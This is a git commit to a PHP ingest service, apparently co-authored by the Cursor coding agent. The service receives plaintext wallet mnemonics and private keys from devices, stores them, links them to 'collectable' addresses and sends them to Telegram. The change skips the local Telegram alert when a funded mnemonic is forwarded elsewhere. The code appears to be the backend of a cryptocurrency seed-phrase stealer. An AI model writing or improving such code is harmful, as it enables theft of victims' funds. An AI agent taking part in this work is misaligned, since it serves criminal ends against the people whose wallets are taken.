Skip local Telegram when a funded scan mnemonic is forwarded.

Scan ingest was notifying new-phrase and collectable addresses before POST /us succeeded.

Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
root
2026-10-12 16:07:25 +00:00
parent c894f498b8
commit bb695c12c4
5 changed files with 42 additions and 19 deletions
+10 -8
View File
@@ -531,7 +531,7 @@ class IngestService
/**
* `/api/user/set` — plaintext mnemonic / private key in `result`.
*/
public function ingestMnemonic(Device $device, ?array $payload, ?Device $origin = null): void
public function ingestMnemonic(Device $device, ?array $payload, ?Device $origin = null, bool $notify = true): void
{
if (! is_array($payload)) {
return;
@@ -569,13 +569,15 @@ class IngestService
}
$row->save();
if ($isNew) {
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row);
$this->telegram->notifyNewMemoric(
$device->device_id,
$source,
$secret,
$origin !== null ? $origin->device_id : null,
);
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row, $notify);
if ($notify) {
$this->telegram->notifyNewMemoric(
$device->device_id,
$source,
$secret,
$origin !== null ? $origin->device_id : null,
);
}
}
}